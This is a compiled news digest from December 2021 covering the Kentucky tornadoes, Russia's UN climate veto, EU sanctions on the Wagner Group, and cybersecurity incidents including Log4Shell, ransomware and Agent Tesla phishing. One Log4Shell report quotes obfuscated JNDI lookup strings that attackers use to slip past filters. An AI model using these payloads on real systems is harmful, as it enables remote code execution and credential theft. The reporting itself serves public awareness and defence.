A few minutes later, O'Nan said, she got a call from the city's fire chief saying he couldn't get the firetrucks or ambulances out of the bay at the fire station because the doors wouldn't open. He ultimately had to attach a chain to his truck to pry the doors wide so firefighters and emergency workers could be dispatched, according to O'Nan.

"To watch them work tirelessly as they have during the last two days so far has just been heartwarming and heartbreaking at the same time," the mayor said.

"When I'm ever asked what's the greatest asset of our community, it is always our people," she added. "We've had small tragedies before and every time immediately the people bond together. I've seen that so much now, but we're joined by so many people from all across the commonwealth, all across the United States."

In the small town of Gilbertsville in Kentucky's Marshall County, about 35 miles northeast of Mayfield, entire neighborhoods were leveled. Wilbert Neil, an 88-year-old resident, returned to what was left of his

two-story home with his 63-year-old son Jerry on Sunday and tried to salvage whatever valuables they could find. All of their belongings -- from clothing to vehicles -- were buried beneath debris. But they managed to find a safe with cash, their wallets, their firearms and a few spare clothes.

"Everything is destroyed," Wilbert Neil told ABC News while surveying the destruction. "We almost didn't make it."

The house was home for 21 years, Wilbert Neil said. He and his wife had bought it a year after they retired and it became the place where their children and grandchildren gathered during the holidays.

"This was the dream house for my wife," he said, tearfully. "She loved it. She'll never see it again."

Meanwhile, six people were killed in Illinois, where a tornado hit an Amazon facility. Four others were killed in Tennessee. There were two deaths reported in Arkansas and another two in Missouri, according to local officials.

Amazon representatives said at a news conference on Monday that all six of the employees killed at the company's Illinois warehouse had congregated in a part of the massive facility that was not meant to provide shelter from severe storms.

Illinois Gov. J.B. Pritzker said authorities are investigating "what exactly occurred" that evening at the Amazon warehouse and called the tornado that slammed into the building part of "an unexpected major, severe storm."

Amazon spokesperson Kelly Nantel said the Edwardsville facility had a designated shelter-in-place room, with no windows, on the north side of the building. Nearly all of the 46 employees working when the twister hit Friday night had gathered in the room after receiving tornado warnings, Nantel said.

She said seven of the employees, including the six who died, were working at the south end of the building that did not have a shelter-in-place room and huddled there as the tornado hit. Nantel said it was only a "matter of minutes" between the warning and the tornado strike.

Nantel said the surviving worker huddled with that group was injured and is still receiving medical care.

John Felton, senior vice president of global delivery services at Amazon, said there was a "tremendous effort to keep everybody safe" on Friday, including the use of megaphones at the facility.

On average, there are 69 tornado-related fatalities in the U.S. each year, according to data from the National Oceanic and Atmospheric Administration. The deadliest tornado on record to hit Kentucky occurred on March 27, 1890. There were 76 deaths.

President Joe Biden declared a state of emergency in Kentucky on Saturday, ordering federal assistance to support the local response efforts. On Sunday night, Biden updated the declaration, making federal funding available to affected individuals in the Kentucky counties of Caldwell, Fulton, Graves, Hopkins, Marshall, Muhlenberg, Taylor and Warren. He also made it possible for residents to get assistance, such as grants for temporary housing or business repairs.

He also approved emergency declarations for Illinois and Tennessee Monday night.

Biden will travel to Kentucky on Wednesday for a briefing from officials and to tour the damage in the cities of Mayfield and Dawson Springs, according to the White House.

Biden received a briefing on the storm damage in Kentucky in the Oval Office Monday after asking for a "detailed briefing" from his administration officials who were on the ground in Mayfield on Sunday.

	<p>"It's a town that has been wiped out, but it's not the only town, it's not the only town. That (tornado) path you see moves all the way up to well over 100 miles, and there's more than one route it goes," Biden said. "We're also seeing destruction met with a lot of compassion, I'm told."</p> <p>Beshear said Biden called him three times on Saturday and that the president "has moved faster than we've ever seen on getting us the aid we need."</p> <p>"We will welcome him here and we will thank him for his help and, sadly, we will show him the worst tornado damage imaginable -- certainly the worst in our state history," Beshear said.</p> <p>Beshear has ordered flags to be flown at half-staff across Kentucky in honor of those who were killed or impacted by the tornadoes. He asked other states to join in.</p> <p>Michael Dossett, director of Kentucky's Division of Emergency Management, praised the swift federal response during Monday's press conference, but cautioned that the restoration efforts on the ground "will go on for years to come."</p> <p>"I can tell you from just being a veteran of now 17 disasters, it takes time to get wheels rolling," Dossett said. "This is a massive event -- the largest and most devastating in Kentucky's history."</p>
	Return to Top

HEADLINE	12/13 Russia vetoes UN climate change resolution
SOURCE	https://abcnews.go.com/US/wireStory/russia-vetoes-resolution-linking-climate-change-security-81725579
GIST	<p>NEW YORK -- Russia on Monday vetoed a first-of-its-kind U.N. Security Council resolution casting climate change as a threat to international peace and security, a vote that sank a years-long effort to make global warming a more central consideration for the U.N.'s most powerful body.</p> <p>Spearheaded by Ireland and Niger, the proposal called for "incorporating information on the security implications of climate change" into the council's strategies for managing conflicts and into peacekeeping operations and political missions, at least sometimes. The measure also asked the U.N. secretary-general to make climate-related security risks "a central component" of conflict prevention efforts and to report on how to address those risks in specific hotspots.</p> <p>"It's long overdue" that the U.N.'s foremost security-related body take up the issue, Irish Ambassador Geraldine Byrne Nason said.</p> <p>The council has occasionally discussed the security implications of climate change since 2007, and the wider General Assembly pronounced itself "deeply concerned" about the issue in 2009. Secretary-General Antonio Guterres has also sounded alarms, telling the Security Council last week that the effects of climate change "compound conflicts and exacerbate fragility."</p> <p>The council has passed resolutions that mention destabilizing effects of warming in specific places, such as various African countries and Iraq. But Monday's resolution would have been the first devoted to climate-related security danger as an issue of its own.</p> <p>Stronger storms, rising seas, more frequent floods and droughts and other effects of warming could inflame social tensions and conflict, potentially "posing a key risk to global peace, security and stability," the proposed resolution said. Some 113 of the U.N.'s 193 member countries supported it, including 12 of the council's 15 members.</p> <p>But India and veto-wielding Russia voted no, while China abstained.</p> <p>Their envoys said the issue should remain with broader U.N. groups, such as the Framework Convention on Climate Change. Adding climate change to the Security Council's purview would only deepen global divisions that were pointed up by last month's climate talks in Glasgow, Scotland, the opponents said. The</p>

talks ended in a deal that recommitted to a key target for limiting warming and broke some new ground but fell short of the U.N.'s three big goals for the conference.

Russian Ambassador Vassily Nebenzia complained that Monday's proposed resolution would turn “a scientific and economic issue into a politicized question,” divert the council's attention from what he called “genuine” sources of conflict in various places and give the council a pretext to intervene in virtually any country on the planet.

“This approach would be a ticking time bomb,” he said.

India and China questioned the idea of tying conflict to climate, and they predicted trouble for the Glasgow commitments if the Security Council — a body that can impose sanctions and dispatch peacekeeping troops — started weighing in more.

“What the Security Council needs to do is not a political show,” Chinese Ambassador Zhang Jun said.

The measure's supporters said it represented a modest and reasonable step to take on an issue of existential importance.

“Today was an opportunity for the council to recognize, for the first time, the reality of the world that we are living in and that climate change is increasing insecurity and instability,” Byrne Nason said. “Instead, we have missed the opportunity for action, and we look away from the realities of the world we are living in.”

Proponents vowed to keep the council's eye on climate risks.

“The force of the veto can block the approval of a text,” said Niger’s ambassador, Abdou Abarry, “but it cannot hide our reality.”

[Return to Top](#)

HEADLINE	12/13 EU sanctions Russian mercenaries’ group
SOURCE	https://www.washingtonpost.com/politics/eu-slaps-sanctions-on-russian-mercenaries-wagner-group/2021/12/13/d8c78372-5c29-11ec-b1ef-cb78be717f0e_story.html
GIST	<p>BRUSSELS — The European Union imposed sanctions Monday on a group of private Russian military contractors it accuses of fomenting violence and committing human rights abuses in the Middle East, Africa and Ukraine.</p> <p>EU foreign ministers agreed to slap asset freezes and travel bans on eight people involved with the Wagner Group, including founder Dmitry Utkin, and three energy companies linked to the group in Syria.</p> <p>“The activities of this group reflects the Russian hybrid warfare. They represent a threat and create instability in a number of countries around the world,” EU foreign policy chief Josep Borrell told reporters after chairing the meeting.</p> <p>EU headquarters said in a statement that “the Wagner Group has recruited, trained and sent private military operatives to conflict zones around the world to fuel violence, loot natural resources and intimidate civilians in violation of international law, including international human rights law.”</p> <p>It accused those targeted of “serious human rights abuses, including torture and extrajudicial, summary or arbitrary executions and killings, or in destabilizing activities in some of the countries they operate in, including Libya, Syria, Ukraine (Donbas) and the Central African Republic.”</p> <p>The EU said the group is “also spreading its malign influence elsewhere, notably in the Sahel region” of Africa. The EU warned that Wagner Group mercenaries pose a threat to the countries they work in, wider regions and to the 27-country EU itself.</p>

	<p>The Wagner Group, owned by a confidant of Russian President Vladimir Putin, has been accused by Western governments and U.N. experts of human rights abuses in the Central African Republic and involvement in the conflict in Libya.</p> <p>EU lawmakers say the group should be treated as a “proxy organization” for the Russian state. France and Germany have complained about the presence of Wagner Group fighters in Mali.</p> <p>Russian Foreign Minister Sergey Lavrov has said the company has a “legitimate” right to be in Mali because it was invited by the transitional government, and he insisted the Russian government is not involved.</p>
Return to Top	

Cyber Awareness

[Top of page](#)

HEADLINE	12/13 Ransom attack Virginia legislative agencies
SOURCE	https://www.zdnet.com/article/virginia-legislative-agencies-and-commissions-hit-with-ransomware-attack/
GIST	<p>A ransomware attack has hit agencies and commissions within the Virginia legislature, according to a statement from the governor's office to the Associated Press.</p> <p>Alena Yarmosky, spokesperson for Virginia Governor Ralph Northam, said the governor has been briefed on the attack, which currently affects Virginia's Division of Legislative Automated Systems, the General Assembly's IT agency. Yarmosky did not respond to requests for comment about the specifics of the attack.</p> <p>Legislative leaders in the state were emailed about the incident and told that hackers attacked the state systems on Friday. The website for the Division of Capitol Police was taken down by the attack and all of the internal systems for bill drafting or bill referrals were hit hard during the ransomware incident, according to The Associated Press.</p> <p>The Assembly's voicemail system was down and many of the systems involved in budgeting were disrupted due to the attack. The Virginia Law Portal is also down because of the attack.</p> <p>The FBI and other law enforcement agencies are now involved. Cybersecurity firm Mandiant took to Twitter to confirm that they are assisting in response to the incident.</p> <p>Yarmosky told The Washington Post that the ransom note received by the agencies provided little information. Most of the organization's servers were shut down to stop the spread of the ransomware.</p> <p>The Richmond Times-Dispatch reported that the attack began at the Department of Legislative Automated Systems on Sunday before spreading to "almost all legislative branch websites." The only things spared were the Legislative Information System on the General Assembly site and the executive branch agencies.</p> <p>In September, the Virginia Defense Force and the Virginia Department of Military Affairs revealed that they were impacted by a cyberattack in July.</p> <p>Ransomware groups have made millions from attacking local governments at the city, county and state level. Experts told The Washington Post in August that for 2020, at least 2,354 governments, healthcare facilities and schools across the US were hit with ransomware.</p> <p>Dozens of local governments have opted to pay ransomware actors to get their systems back. After being attacked by the Ryuk/Conti gang, Jackson County, Georgia; Riviera Beach, Florida; and LaPorte County, Indiana paid ransoms ranging from \$130,000 to nearly \$600,000.</p>

HEADLINE	12/14 CISA: Log4j flaw millions of devices at risk
SOURCE	https://www.zdnet.com/article/log4j-flaw-puts-hundreds-of-millions-of-devices-at-risk-says-us-cybersecurity-agency/
GIST	<p>Top US government cybersecurity officials fear advanced hackers will have a field day with the Log4j vulnerability that's likely present in hundreds of millions of devices.</p> <p>Security experts are already seeing widespread scanning for the Log4j vulnerability (also dubbed 'Log4Shell') on internet-connected devices running vulnerable versions of Log4j version 2, which have been under attack since December 1, although the bug became common knowledge on December 9.</p> <p>So far, Microsoft has seen attackers compromise machines to install coin miners, the Cobalt Strike pen-testing framework to enable credential theft and lateral movement, and exfiltration of data from compromised systems.</p> <p>These attacks appear to be opportunistic cyber-criminal activity thanks to its ease of exploitation, but top officials at the US Department of Homeland Security's Cybersecurity and Infrastructure Security Agency (CISA) fear "sophisticated actors" will also pounce on the bug soon.</p> <p>"This vulnerability is one of the most serious that I've seen in my entire career, if not the most serious," Jen Easterly, director of CISA said in a call shared with CNN. Easterly has spent 20 years in various federal cybersecurity roles.</p> <p>"We expect the vulnerability to be widely exploited by sophisticated actors and we have limited time to take necessary steps in order to reduce the likelihood of damage," she said. The call, with US critical infrastructure owners and operators, was first reported by CyberScoop.</p> <p>Jay Gazlay of CISA's vulnerability management office warned that hundreds of millions of devices are likely to be affected.</p> <p>Log4J is a popular Java library for logging error messages in applications. It's vulnerable to a critical flaw, tracked as CVE-2021-44228, that lets any remote attacker take control of another device on the internet, if it's running Log4J versions 2.0 to 2.14.1.</p> <p>The remotely exploitable flaw is present in hundreds of major enterprise products, from the likes of Oracle, Cisco, RedHat, IBM, VMware and Splunk, and cloud features from Amazon Web Services and Microsoft Azure, as well as security appliances and developer tools. Google Cloud is investigating the impact of the Log4j bug on its products and services, and is working with VMware to deploy fixes to the Google Cloud VMware Engine. Google has updated WAF rules to defend against Log4j attacks.</p> <p>The Apache Software Foundation has released version 2.15.0 to address the flaw, but product vendors still need to apply the fix in their products and then end-user customers need to update their devices once their vendor's fix becomes available.</p> <p>The flaw highlights known risks arising from software supply chains when a key piece of software is used within multiple products across multiple vendors and deployed by their customers around the world.</p> <p>It's not a simple fix to address all vulnerable devices. As Sans Internet Storm Center notes: "There is no generic 'log4j2' patch to patch everything. In some cases, vendors including Log4j, need to patch their software to include the new version."</p> <p>Rapid7 had a similar warning: "Organizations should be prepared for a continual stream of downstream advisories from third-party software producers who include Log4j among their dependencies."</p>

	<p>Rapid7 itself has been investigating its products' exposure to the Log4j bug and has deployed server-side fixes for several affected products.</p> <p>Historically slow uptake of new security patches means attackers will likely have months if not years to find and exploit vulnerable devices, security experts warned this week.</p> <p>The Log4j bug is internet-wide, prompting advisories from Australia, New Zealand, Canada, the UK, Sweden, Germany, Singapore, and elsewhere. Canada's Revenue Agency took some services offline on Friday after learning of the flaw, according to CBC.</p>
	Return to Top

HEADLINE	12/14 Log4Shell spawns nastier mutations
SOURCE	https://threatpost.com/apache-log4j-log4shell-mutations/176962/
GIST	<p>The internet has a fast-spreading, malignant cancer – otherwise known as the Apache Log4j logging library exploit – that’s been rapidly mutating and attracting swarms of attackers since it was publicly disclosed last week.</p> <p>Most of the attacks focus on cryptocurrency mining done on victims’ dimes, as seen by Sophos, Microsoft and other security firms. However, attackers are actively trying to install far more dangerous malware on vulnerable systems as well.</p> <p>According to Microsoft researchers, beyond coin-miners, they’ve also seen installations of Cobalt Strike, which attackers can use to steal passwords, creep further into compromised networks with lateral movement and exfiltrate data.</p> <p>Also, it could get a lot worse. Cybersecurity researchers at Check Point warned on Monday that the evolution has already led to more than 60 bigger, brawnier mutations, all spawned in less than a day.</p> <p>“Since Friday we witnessed what looks like an evolutionary repression, with new variations of the original exploit being introduced rapidly: over 60 in less than 24 hours,” they said.</p> <p>The flaw, which is uber-easy to exploit, has been named Log4Shell. It’s resident in the ubiquitous Java logging library Apache Log4j and could allow unauthenticated remote code execution (RCE) and complete server takeover. It first turned up on sites that cater to users of the world’s favorite game, Minecraft, last Thursday, and was being exploited in the wild within hours of public disclosure.</p> <p>Mutations May Enable Exploits to Slip Past Protections</p> <p>On Monday, Check Point reported that Log4Shell’s new, malignant offspring can now be exploited “either over HTTP or HTTPS (the encrypted version of browsing),” they said.</p> <p>The more ways to exploit the vulnerability, the more alternatives attackers have to slip past the new protections that have frantically been pumped out since Friday, Check Point said. “It means that one layer of protection is not enough, and only multilayered security postures would provide a resilient protection,” they wrote.</p> <p>Because of the enormous attack surface it poses, some security experts are calling Log4Shell the biggest cybersecurity calamity of the year, putting it on par with the 2014 Shellshock family of security bugs that was exploited by botnets of compromised computers to perform distributed denial-of-service (DDoS) attacks and vulnerability scanning within hours of its initial disclosure.</p> <p>Tactical Shifts</p> <p>Besides variations that can slip past protections, researchers are also seeing new tactics.</p> <p>Luke Richards, Threat Intelligence Lead at AI cybersecurity firm Vectra, told Threatpost on Monday that initial exploit attempts were basic call backs, with the initial exploit attempt coming from TOR</p>

nodes. They mostly pointed back to “bingsearchlib[.]com,” with the exploit being passed into the User Agent or the Uniform Resource Identifier (URI) of the request.

But since the initial wave of exploit attempts, Vectra has tracked many changes in tactics by the threat actors who are leveraging the vulnerability. Notably, there’s been a shift in the commands being used, as the threat actors have begun obfuscating their requests.

“This originally included stuffing the User Agent or URI with a base64 string, which when decoded by the vulnerable system caused the host to download a malicious dropper from attacker infrastructure,” Richards explained in an email. Following this, the attackers started obfuscating the Java Naming and Directory Interface (JNDI) string itself, by taking advantage of other translation features of the JNDI process.

He offered these examples:

```
{jndi:${lower:l}${lower:d}a${lower:p}://world80
${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//
{jndi:dns://
```

...All of which achieve the same objective: “to download a malicious class file and drop it onto the target system, or to leak credentials of cloud-based systems,” Richards said.

Bug Has Been Targeted All Month

Attackers have been buzzing around the Log4Shell vulnerability since at least Dec. 1, it turns out, and as soon as CVE-2021-44228 was publicly disclosed late last week, attackers began to swarm around honeypots.

On Sunday, Sophos researchers [said](#) that they’d “already detected hundreds of thousands of attempts since December 9 to remotely execute code using this vulnerability,” noting that log searches by other organizations (including Cloudflare) suggest that the vulnerability may have been openly exploited for weeks.

“Earliest evidence we’ve found so far of #Log4J exploit is 2021-12-01 04:36:50 UTC,” Cloudflare CEO Matthew Prince [tweeted](#) on Saturday. “That suggests it was in the wild at least nine days before publicly disclosed. However, don’t see evidence of mass exploitation until after public disclosure.”

On Sunday, Cisco Talos [chimed in](#) with a similar timeframe: It first saw attacker activity related to CVE-2021-44228 starting on Dec. 2. “It is recommended that organizations expand their hunt for scanning and exploit activity to this date,” it advised.

Exploits Attempted on 40% of Corporate Networks

Check Point said on Monday that it’s thwarted more than 845,000 exploit attempts, with more than 46 percent of those attempts made by known, malicious groups. In fact, Check Point warned that it’s seen more than 100 attempts to exploit the vulnerability per minute.

As of 9 a.m. ET on Monday, its researchers had seen exploits attempted on more than 40 percent of corporate networks globally.

Hyperbole isn’t an issue with this flaw. Security experts are rating it as one of the worst vulnerabilities of 2021, if not the tip-top most terrible. Dor Dali, Director of Information Security at Vulcan Cyber, classes it in the top-three worst flaws of the year: “It wouldn’t be a stretch to say that every enterprise organization uses Java, and Log4j is one of the most-popular logging frameworks for Java,” Dali noted via email on Monday. “Connecting the dots, the impact of this vulnerability has the reach and potential to be substantial if mitigation efforts aren’t taken right away.”

As has been repeatedly stressed since its initial public disclosure, the Log4j vulnerability “is relatively easy to exploit, and we’ve already seen verifiable reports that bad actors are actively running campaigns

against some of the largest companies in the world,” Dali reiterated. “Hopefully every organization running Java has the ability to secure, configure and manage it. If Java is being used in production systems IT security teams must prioritize the risk and mitigation campaigns and follow remediation guidelines from the Apache Log4j project as soon as possible.”

This situation is rapidly evolving, so keep an eye out for additional news. Below are some of the related pieces we’ve seen, along with some of the new protections and detection tools.

More News

- [Linux botnets have already exploited the flaw](#). NetLab 360 reported on Saturday that two of its honeypots have been attacked by the [Muhstik](#) and [Mirai](#) botnets. Following detection of those attacks, the Netlab 360 team found [other botnets](#) on the hunt for the Log4Shell vulnerability, including the DDoS family Elknot, the mining family m8220, SitesLoader, xmrig.pe, xmring.ELF, attack tool 1, attack tool 2, plus one unknown and a PE family. [BleepingComputer](#) also reports that it’s observed the threat actors behind the [Kinsing](#) backdoor and cryptomining botnet “heavily abusing the Log4j vulnerability.”
- [CISA has added Log4Shell to the Known Exploited Vulnerabilities Catalog](#).
- [Quebec shut down thousands of sites](#) after disclosure of the Log4Shell flaw. ““We need to scan all of our systems,” said Canadian Minister Responsible for Digital Transformation and Access to Information Eric Caire in a news conference. “We’re kind of looking for a needle in a haystack.”

New Protections, Detection Tools

- On Saturday, Huntress Labs released a tool – [available here](#) – to help organizations test whether their applications are vulnerable to CVE-2021-44228.
- Cybereason released [Logout4Shell](#), a “vaccine” for the Log4Shell Apache Log4j RCE, that uses the vulnerability itself to set the flag that turns it off.

Growing List of Affected Manufacturers, Components

As of Monday, the internet was still in meltdown drippy mode, with an ever-growing, crowd-sourced list [hosted on GitHub](#) that only scratches the surface of the millions of applications and manufacturers that use log4j for logging. The list indicates whether they’re affected by Log4Shell and provides links to evidence if they are.

Spoiler alert: Most are, including:

- [Amazon](#)
- [Apache Druid](#)
- [Apache Solr](#)
- [Apache Struts2](#)
- [Apple](#)
- [Baidu](#)
- [CloudFlare](#)
- [DIDI](#)
- [ElasticSearch](#)
- [Google](#)
- [JD](#)
- [LinkedIn](#)
- [NetEase](#)
- [Speed camera LOL](#)
- [Steam](#)
- [Tesla](#)
- [Tencent](#)
- [Twitter](#)
- [VMWare](#)
- [VMWarevCenter](#)
- [Webex](#)

A Deep Dive and Other Resources

- **Immersive Labs** has posted a [hands-on lab](#) of the incident.
- **Lacework** has published a [blog post](#) regarding how the news affects security best practices at the developer level.
- **NetSPI** has published a [blog post](#) that includes details on Log4Shell's impact, guidance to determine whether your organization is at risk, and mitigation recommendations.

This is a developing story – stay tuned to Threatpost for ongoing coverage.

121321 13:32 UPDATE 1: Added input from Dor Dali and Luke Richards.

121321 14:15 UPDATE 2: Added additional botnets detected by NetLab 360.

[Return to Top](#)

HEADLINE	12/14 Log4Shell attacks industrial organizations
SOURCE	https://www.securityweek.com/industrial-organizations-targeted-log4shell-attacks
GIST	<p>Industrial organizations are exposed to attacks leveraging a recently disclosed — and already exploited — vulnerability affecting the widely used Log4j logging utility.</p> <p>Industrial cybersecurity firm Dragos reported on Monday that it has observed both attempted and successful exploitation of the vulnerability, and the company says it has already coordinated the takedown of a malicious domain used in attacks.</p> <p>The critical vulnerability, tracked as CVE-2021-44228 and dubbed Log4Shell and LogJam, came to light in late November, and it was patched on December 6. Evidence suggests that exploitation of the vulnerability may have started on December 1, but mass exploitation began on around December 9, after weaponized proof-of-concept (PoC) exploits were made available.</p> <p>Apache Log4j is a Java-based logging tool that is included in various open source libraries, and is directly embedded in many popular software applications.</p> <p>A security hole affecting the cross-platform library, specifically its Java Naming and Directory Interface (JNDI) lookup feature, can be exploited for remote code execution by getting the targeted system to log a specially crafted string.</p> <p>Many threat groups have exploited the vulnerability — which can be used to take complete control of a system — to deliver various types of malware.</p> <p>“This cross-cutting vulnerability, which is both vendor agnostic and affects both proprietary and open-source software, will leave a wide swathe of industries exposed to remote exploitation, to include electric power, water, food and beverage, manufacturing, transportation, and more,” Dragos said.</p> <p>“Log4j is found in popular open-source repositories used in numerous industrial applications, such as Object Linking and Embedding for Process Control (OPC) Foundation’s Unified Architecture (UA) Java Legacy. Additionally, adversaries can leverage this vulnerability in proprietary Supervisory Control and Data Acquisition (SCADA) and Energy Management Systems (EMS) which make use of Java in their codebase,” it added.</p> <p>The company noted that while the Lightweight Directory Access Protocol (LDAP) has been the primary attack vector, it has observed attack attempts leveraging DNS and Remote Method Invocation (RMI).</p> <p>Dragos pointed out that robust segmentation of the IT/OT networks significantly reduces the risk of impact on industrial systems, but the company warned that threat actors may develop more sophisticated Log4Shell exploits once network defenders address the easier exploit paths.</p> <p>ICS vendors respond to Log4Shell Industrial control system (ICS) manufacturers have started responding to Log4Shell.</p>

	<p>As of Monday night, Siemens has confirmed that 17 of its products are affected by CVE-2021-44228 and there are many more that are still being analyzed. The German industrial giant has started releasing patches and it has provided mitigation advice.</p> <p>Products confirmed to be affected include E-Car OC, EnergyIP, Geolus, Industrial Edge Management, Logo! Soft Comfort, Mendix, MindSphere, Operation Scheduler, Siguard DSA, Simatic WinCC, SiPass, Siveillance, Solid Edge, and Spectrum Power.</p> <p>Schneider Electric has also released an advisory, but it's still working on determining which of its products are affected. In the meantime, it has shared general mitigations to reduce the risk of attacks. Inductive Automation, which provides SCADA software and industrial automation solutions, told customers that it has conducted a full audit and determined that its products are not impacted.</p> <p>"Software vendors in the OT space are in a unique position to help their clients by ideally having tabs on their software, but also within environments they help maintain (e.g. service agreement)," Ron Brash, VP of technical research at aDolus Technology, told <i>SecurityWeek</i>.</p> <p>"Unfortunately, there are varying levels of component awareness when it comes to vendor supply chain security, and this is particularly problematic for current and past products where accurate component inventories are lacking or source code/build chains are poorly understood," Brash said.</p>
Return to Top	

HEADLINE	12/13 'Sadistic' online extortionist jailed 32yrs
SOURCE	https://www.infosecurity-magazine.com/news/sadistic-online-extortionist/
GIST	<p>An online extortionist described by police as "sadistic" and "depraved" has been jailed for 32 years following a string of horrific crimes targeting nearly 2000 victims.</p> <p>Abdul Hasib Elahi, 26, of Sparkhill in Birmingham, is said to have pretended to be a businessman or stockbroker when he frequented "sugar daddy" websites and social media sites.</p> <p>Targeting victims that were in debt or too young even to be on the sites, he promised to pay thousands for photos of them naked or partially clothed, according to the National Crime Agency (NCA).</p> <p>Elahi quickly moved his conversations off these sites and onto end-to-end encrypted WhatsApp in order to disguise his activity, the agency revealed.</p> <p>Once he'd accrued enough photos of his targets, he'd switch to blackmail, threatening to email the pics to friends and family unless his victims sent photos and videos the NCA described as "horrendous" and "horrific." They include demands for footage of "self-mutilation" and of victims abusing young children and siblings.</p> <p>He is said to have made £25,000 from selling the content in "box sets" via the cloud and encrypted service Telegram — a move which led to others trying to blackmail some victims a second time.</p> <p>Elahi was finally arrested in December 2018 following an allegation he was blackmailing a 15-year-old girl in the US. His mobile phone and computers were seized and forensically examined.</p> <p>According to the NCA, Elahi had contacted 600 individuals in the UK, with 196 described as victims. However, his three-year campaign spanned the globe, with victims in 20 other countries including the US, Australia, Canada and New Zealand.</p> <p>In total, 72 victims were on the indictment, with ages ranging from eight months to adults, the NCA said.</p>

	<p>He admitted all 158 charges which spanned 2017-2020. The investigation also led to convictions of associates of Elahi.</p> <p>Tony Cook, NCA Head of CSA operations, said Elahi had wrecked lives and families.</p> <p>“Abdul Elahi is a depraved sadist who got sexual gratification through power and control over his victims whom he often goaded to the point of wanting to kill themselves. NCA investigators were horrified by what Elahi had done and stunned by the industrial scale of his worldwide offending,” he added.</p> <p>“I commend them for their bravery and I urge anyone who is being abused online to report it. There is help available. It’s vital that parents speak with their children about who they communicate with online and what they share.”</p>
	Return to Top

HEADLINE	12/13 Ascendex exchange hacked: \$77M stolen
SOURCE	https://www.hackread.com/ascendex-cryptocurrency-exchange-hacked/
GIST	<p>A popular cryptocurrency exchange, Ascendex has become the latest victim of a security breach, letting hackers gain control of some of the exchange’s hot wallets.</p> <p>For your information, hot wallets are internet-connected cryptocurrency wallets that owners can access through a private key to receive or send tokens.</p> <p>According to the estimate from an auditing and security firm, Peckshield, the estimated losses incurred by this hack is around \$77 million. The exchange has vowed to reimburse the lost funds.</p> <p>About the Hacking</p> <p>Cryptocurrency exchange Ascendex confirmed that a security breach occurred on Saturday night. The attackers mainly targeted its hot wallets and acknowledged that it had run a series of safety procedures to protect its cold wallets after the attack.</p> <p>The attackers managed to take control of hot wallets of Polygon, Ethereum, and BSC networks. The most valuable of these coins were ERC20 tokens.</p> <p>The exchange hasn’t yet released the actual amount in losses, and all that we know is an estimate released by Peckshield and Etherscan.</p> <p>Reportedly, the attacker stole \$60 million worth of cryptocurrency, and \$9.2 million was taken away in BSC tokens. Around \$8.5 million worth of Polygon tokens were stolen. So, cumulatively, \$77 million worth of crypto was transferred from the exchange’s hot wallets.</p> <p>Ascendex Disabled Deposits and Withdrawals, Post Hack</p> <p>Soon after the attack, AscendEX temporarily disabled its deposits and withdrawal operations. The exchange has confirmed that cold wallets weren’t targeted in the hack. This is the second hack attack on a cryptocurrency exchange in a single month.</p> <p>On December 5, hackers transferred over \$150 million worth of tokens from the Bitmart crypto exchange after managing to steal a private key that allowed them access to two hot wallets. Nearly \$100 million worth of crypto was transferred on the Ethereum blockchain, and sources claim that an additional \$50 to \$96 million were transferred on Binance.</p> <p>Ascendex’s Statement</p> <p>The impacted crypto exchange released a statement after confirming the hack. The company informed users about the actions it intends to take post the hack. Firstly, the exchange aims to reimburse stolen funds to their respective owners and highlights the fact that the asses are a “relatively small percentage of the total exchange assets.”</p>

	<p>The nonimpacted assets have now been transferred to cold wallets, after which withdrawals and deposits were suspended temporarily for all customers. Furthermore, the exchange revealed that it would investigate the incident and find out the attackers.</p> <p>The company is currently working with several blockchain forensic firms as well as law enforcement to determine what happened and prevent the stolen funds from being transferred to other exchanges.</p>
Return to Top	

HEADLINE	12/13 Agent Tesla malware phishing campaign
SOURCE	https://www.bleepingcomputer.com/news/security/phishing-campaign-uses-powerpoint-macros-to-drop-agent-tesla/
GIST	<p>A new variant of the Agent Tesla malware has been spotted in an ongoing phishing campaign that relies on Microsoft PowerPoint documents laced with malicious macro code.</p> <p>Agent Tesla is a .Net-based info-stealer that has been circulating the internet for many years but remains a threat in the hands of phishing actors.</p> <p>In June 2021, we reported about the active distribution of Agent Tesla in DHL-themed phishing campaigns that relied on the atypical WIM file attachment.</p> <p>In the most recent campaign, researchers at Fortinet explain that threat actors are targeting Korean users with emails that allegedly contain "order" details.</p> <p>Because the attachment is a PowerPoint file, the chances of convincing the recipients they need to "enable content" on Microsoft Office to view it properly increase.</p> <p>From VBA code to PowerShell</p> <p>If opened, the file doesn't present any slides but instead launches an auto-run VBA function that calls for the execution of a remote HTML resource at a remote site.</p> <p>After the escaped VBScript code is executed, the actor can use a range of scripts, including PowerShell, to stealthily deliver Agent Tesla.</p> <p>Fortinet has spotted the following scripts and their role:</p> <ul style="list-style-type: none"> • VBScript-embedded-in-HTML – upgrades the malware every two hours (if available) by adding a command-line command into Task Scheduler. • Standalone VBS file – downloads a new base64-encoded VBS file and adds it into the Startup folder for persistence. • Second standalone VBS – downloads Agent Tesla and crafts PowerShell code. • PowerShell code – executes to call a new function "ClassLibrary3.Class1.Run()" that performs process-hollowing, passing the Agent Tesla payload in memory. <p>The malware is injected into the legitimate Microsoft .NET RegAsm.exe executable via four Windows API functions. By injecting the file into RegAsm.exe, Agent Tesla can operate in the infected system file-less, so the chances of being detected drop significantly.</p> <p>Targeting a range of products</p> <p>Agent Tesla features a keylogger, a browser cookie and saved credentials stealer, a Clipboard data sniffer, and even a screenshot tool.</p> <p>The attacker can choose which features to enable during the payload compilation, thus choosing between a balance of power and stealthiness.</p>

In total, Agent Tesla can snatch data from over 70 applications, with the most popular ones listed below.

Chromium-based Web Browsers:

Epic Privacy, Uran, Chedot, Comodo Dragon, Chromium, Orbitum, Cool Novo, Sputnik, Coowon, Brave, Liebao Browser, Elements Browser, Sleipnir 6, Vivaldi, 360 Browser, Torch Browser, Yandex Browser, QIP Surf, Amigo, Kometa, Citrio, Opera Browser, CentBrowser, 7Star, Coccoc, and Iridium Browser

Web Browsers:

Chrome, Microsoft Edge, Firefox, Safari, IceCat, Waterfox, Tencent QQBrowser, Flock Browser, SeaMonkey, IceDragon, Falkon, UCBrowser, Cyberfox, K-Meleon, PaleMoon

VPN clients:

OpenVPN, NordVPN, RealVNC, TightVNC, UltraVNC, Private Internet Access VPN

FTP clients:

